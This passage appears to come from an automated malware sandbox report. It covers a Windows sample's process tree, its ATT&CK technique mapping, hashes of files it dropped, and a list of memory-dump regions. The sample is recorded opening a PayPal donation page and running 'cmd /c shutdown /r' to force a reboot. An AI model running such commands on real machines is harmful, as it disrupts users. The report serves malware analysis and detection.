      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5480 /prefetch:8
      4⤵
      PID:5852
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=4404 /prefetch:8
      4⤵
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      PID:4376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6532 /prefetch:8
      4⤵
      PID:5324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6532 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5044 /prefetch:1
      4⤵
      PID:5756
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4108 /prefetch:1
      4⤵
      PID:4592
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6088 /prefetch:1
      4⤵
      PID:5248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6620 /prefetch:1
      4⤵
      PID:1084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6400 /prefetch:1
      4⤵
      PID:3148
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6552 /prefetch:1
      4⤵
      PID:6120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1
      4⤵
      PID:3016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:1
      4⤵
      PID:1704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4412 /prefetch:1
      4⤵
      PID:5156
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start https://www.paypal.com/paypalme/himato666
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1428
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/paypalme/himato666
    3⤵
    PID:312
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fff658946f8,0x7fff65894708,0x7fff65894718
      4⤵
      PID:4332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,3432970839344156359,8007013721442569733,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2168 /prefetch:2
      4⤵
      PID:880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,3432970839344156359,8007013721442569733,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c shutdown /r
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4756
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4852

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5284

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5484

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x508 0x4f8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5576

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5376

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa397b055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:60

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
f426165d1e5f7df1b7a3758c306cd4ae

SHA1
59ef728fbbb5c4197600f61daec48556fec651c1

SHA256
b68dfc21866d0abe5c75d70acc54670421fa9b26baf98af852768676a901b841

SHA512
8d437fcb85acb0705bf080141e7a021740901248985a76299ea8c43e46ad78fb88c738322cf302f6a550caa5e79d85b36827e9b329b1094521b17cf638c015b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
6960857d16aadfa79d36df8ebbf0e423

SHA1
e1db43bd478274366621a8c6497e270d46c6ed4f

SHA256
f40b812ce44e391423eb66602ac0af138a1e948aa8c4116045fef671ef21cd32

SHA512
6deb2a63055a643759dd0ae125fb2f68ec04a443dbf8b066a812b42352bbcfa4517382ed0910c190c986a864559c3453c772e153ee2e9432fb2de2e1e49ca7fe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000066

Filesize
215KB

MD5
d79b35ccf8e6af6714eb612714349097

SHA1
eb3ccc9ed29830df42f3fd129951cb8b791aaf98

SHA256
c8459799169b81fdab64d028a9ebb058ea2d0ad5feb33a11f6a45a54a5ccc365

SHA512
f4be1c1e192a700139d7cff5059af81c0234ed5f032796036a1a4879b032ce4eedd16a121bbf776f17bc84a0012846f467ad48b46db4008841c25b779c7d8f5a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
6KB

MD5
08da847ac8e3d929cb516094b455d0b3

SHA1
609a046f0dcb0475d9e9e01e63246aa2fec95d54

SHA256
41e169b3df01d72ba2af60245c67af78798ebf043c096e11581e2fc1c1281480

SHA512
8ba8fe69f0f094ca4a4872c3d823ebedacfba6b4f7a951c5a3e9a9d431c01f70588bd17192c27fabd67918d12ca59bec16a7dbb1612b76ff7d6a104267d24f5a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
2KB

MD5
d4837d24cd077ad2de34dc8f016bca16

SHA1
015a29a355704ba4d914f1905492e99db91f63d4

SHA256
7a5143b643874ad0c4d7a5c96bdc004ac424dfcf9cd8d488805d9a3846fa1fb0

SHA512
ec139da854674c70cc07feb6a64254df2b530800efade7f8299f03d4a68d66638c071257c76ec1fe4abe157c3581148570626c1c5c9bd8e738764e57fc63a5de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
02bfdf7e5d47c60cf1b5eeeb41204937

SHA1
a8e267320668222c44014f4f7625afa5b7a0dc43

SHA256
9435dd06f202d7a22c2c412daa83eb5cbb31ff38508bf73ce641e2d6373ca196

SHA512
15a387c9a54a8da1dfed15b131ced3cf2c3417d23cd556f0b8f21ed706939ea7f2fbbbbab696e094d336b2f777410a22a871353dba034b6b40731e45f0e9d7d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
8KB

MD5
cb6fd0978ffe29f48e3892fb58a61e77

SHA1
0edd4df13c57162d4770eb8abd4154322c3ab86a

SHA256
58555f3846259ba4adec37c374571fb8f0e3fad1e4fd4b15869a2b979f9cee9d

SHA512
db253c6eab2ba3baa97d077d113f09e0aab9c416b1c4c743aa955d8f454301bfe05eb5c0462cba9430ebfd1c0d8a1690ff7643b3a0cfade74a9cf443d961c523

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
48648da909022730ba025a73caa461d2

SHA1
7f29ccf5970a466a697a04877945224d23b72695

SHA256
26c44eaaa5eb5847cf2ab42af3127e97e62fdfe64f2bbc260140dc3f4f8447b0

SHA512
dbabb75e224bef744c1e9bdbb9ed0d8a5f325269dd7260732cb466b302aff974ecf19d8603d721dac61398d36cc1f556bf8d1e4e76f6c57224fb9eff5bb7195f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
06b95431722083c0b6869bf2859ba870

SHA1
6610d6950eda7dafe4afc40421f962626c94910b

SHA256
c409652fea7ae2519374b4b8befd9d6efeeba864a8ce61ad51ae50d99cf533d4

SHA512
3a2b360a2ba70f5a734e57f67c63c4e34d9f608a68af79561252a1f1e34ac891b2324e04d29eed8b6df767e7d50727be21c7f415356864df8ae3ad6b140ea01f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
88134f93e155da9c7da1b72f69d28a10

SHA1
d361df41354e6f15e7d812be5c88ffc6ec73ca79

SHA256
34a685b907a115a08d85b27abc41fcbf77bbf65b2a3e9e6985d7b43ec4524028

SHA512
ee0e725b85e088d1b5e1c11664c2e9ed49321eedb6720dd94de037b4ed891aaf5b25c0baff99b3662824d741c5746546f8db3c06c551653ccc3bda913283c4d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
70fec407cf45a7d5af4c436dab611ba1

SHA1
5ae2e9e6b7fb457f435ee5b2593fab51697acbad

SHA256
0ff5c7165de721ed7dcbd6be25a91f98c72b5fd2fa596319fe904746960d9317

SHA512
666ddc569ca0c02693de22464ebc00f64faa4a6dc240eb2cd72d27c39f2102b871c8e8887e5e33df9fc6a995e9e598e0c366a07bc5a33a9a307b57ff0d178f87

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
f759168ca0ad2bfd0ec7cf4b2386f0f1

SHA1
e5711ea843702f73afdc54d6e17db93eadc628a8

SHA256
09f4c46928e82ed2efcea4d0056c77e6995d7e8cf37385c4c4c08c5da5c4d9ce

SHA512
90f9fac2af3632faf07c412c2470fc4a583cc5d650547f61e62c43576b0c0f79c173c91dda8bffab58d00a0475f228fae70bb0c0e6164d1a0ca9bfa90853a244

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58240d.TMP

Filesize
1KB

MD5
92b1a84ba356c4c724c17c44842073ed

SHA1
fcb12304a418eb39eeab084e16c234fb82d4550f

SHA256
25a6ebd4b4bef6bd00f2686b293d4c60b62905f1235afe5d43045c875494ac7f

SHA512
ef0fcc9175264f4fdaa407afdf30c34e7793685723a9f76ae3f12d785715966f8ddcd0bac33d2ca89761d395cead5d7355f503e0b13408cc9278548755c955b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
707871031f42b313e19aa31669db0aa4

SHA1
f19d3d7d9ba4c73042119c44b00b00f0518d7290

SHA256
9ea86f045bed5eeb37bb76dd3872782e1d199ddcfec9df29d55846c1ef0aea2d

SHA512
84dec08a7174b029126820716d901241618a32097d08ef5ecba0f257193df857f2dd5e956de07ba6fc21acc85d2ed7953424b8ad5b7dd4a72e943d7adceda40f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
ab5206a54d49dd45f8e3b30ce4d9525e

SHA1
01901b94a4248806e27d90e3a382fe598b476d88

SHA256
332cb071fda2613b3e29b99686bf7bf79cc02ad5ef361546696f86bfbd85957a

SHA512
b15c153b96eb3f1eac406358b50ca7af535d43b15b7d9c3a46187bdc9ee121ecc28a6aee9cd398ec1a48b770f278118140ca8451efc07e12daccbf8f439845ae

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
f77be45a0c7bffaf11aca677e51b46fc

SHA1
b68bdb5dd27f6087912dd4c1916a4edba7b0a84c

SHA256
16571ef04f003125b4a657aa4e9712d1d7111032a5dfaf7bfeb5aa76c17b76d6

SHA512
c331dd8e144498ab2eb5720b8f2ec7be31573d88657a01cc90a58cd0f93884fb1a6771498c007a51d61a682cc3b2298722b63ff548b0854244ec31b86d1b08b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
ae1da665d85d066dda92d92df32f6856

SHA1
b438bcf39f397ae4630ecd5e76a0c5b0e933019d

SHA256
c97c55994429514472fb140bbbd79659b814d75dcc593a035702647b85c23e0a

SHA512
84e93140e183fa926a60346e23735e1caf404ce09d038c34d0eb315cb2b6e807ef04c96407b14150d4579a806db7ea504410ace9d79ca9aa15f17d49fd1b80e7

Download Submit
memory/3828-29-0x00000000067A0000-0x00000000067B2000-memory.dmp

Filesize
72KB

Download
memory/3828-25-0x0000000006770000-0x0000000006798000-memory.dmp

Filesize
160KB

Download
memory/3828-52-0x0000000006800000-0x000000000681F000-memory.dmp

Filesize
124KB

Download
memory/3828-48-0x0000000006820000-0x000000000685A000-memory.dmp

Filesize
232KB

Download
memory/3828-45-0x0000000006820000-0x000000000685A000-memory.dmp

Filesize
232KB

Download
memory/3828-44-0x0000000006720000-0x0000000006726000-memory.dmp

Filesize
24KB

Download
memory/3828-41-0x0000000006720000-0x0000000006726000-memory.dmp

Filesize
24KB

Download
memory/3828-53-0x0000000006860000-0x0000000006875000-memory.dmp

Filesize
84KB

Download
memory/3828-37-0x000000000B180000-0x000000000B234000-memory.dmp

Filesize
720KB

Download
memory/3828-36-0x0000000006730000-0x000000000673C000-memory.dmp

Filesize
48KB

Download
memory/3828-57-0x0000000000B04000-0x0000000000B05000-memory.dmp

Filesize
4KB

Download
memory/3828-50-0x0000000006800000-0x000000000681F000-memory.dmp

Filesize
124KB

Download
memory/3828-40-0x000000000B180000-0x000000000B234000-memory.dmp

Filesize
720KB

Download
memory/3828-17-0x0000000006610000-0x0000000006623000-memory.dmp

Filesize
76KB

Download
memory/3828-20-0x0000000006610000-0x0000000006623000-memory.dmp

Filesize
76KB

Download
memory/3828-56-0x0000000006860000-0x0000000006875000-memory.dmp

Filesize
84KB

Download
memory/3828-33-0x0000000006730000-0x000000000673C000-memory.dmp

Filesize
48KB

Download
memory/3828-28-0x0000000006770000-0x0000000006798000-memory.dmp

Filesize
160KB

Download
memory/3828-0-0x0000000000B04000-0x0000000000B05000-memory.dmp

Filesize
4KB

Download
memory/3828-32-0x00000000067A0000-0x00000000067B2000-memory.dmp

Filesize
72KB

Download
memory/3828-21-0x0000000006740000-0x0000000006763000-memory.dmp

Filesize
140KB

Download
memory/3828-24-0x0000000006740000-0x0000000006763000-memory.dmp

Filesize
140KB

Download
memory/3828-8-0x0000000008A00000-0x00000000095E9000-memory.dmp

Filesize
11.9MB

Download
memory/3828-9-0x00000000065B0000-0x00000000065F0000-memory.dmp

Filesize
256KB

Download
memory/3828-12-0x00000000065B0000-0x00000000065F0000-memory.dmp

Filesize
256KB

Download
memory/3828-13-0x0000000006580000-0x0000000006591000-memory.dmp

Filesize
68KB

Download
memory/3828-16-0x0000000006580000-0x0000000006591000-memory.dmp

Filesize
68KB

Download
memory/3828-4-0x0000000006D00000-0x000000000768A000-memory.dmp

Filesize
9.5MB

Download
memory/3828-5-0x0000000008A00000-0x00000000095E9000-memory.dmp

Filesize
11.9MB

Download
memory/3828-1-0x0000000006D00000-0x000000000768A000-memory.dmp

Filesize
9.5MB

Download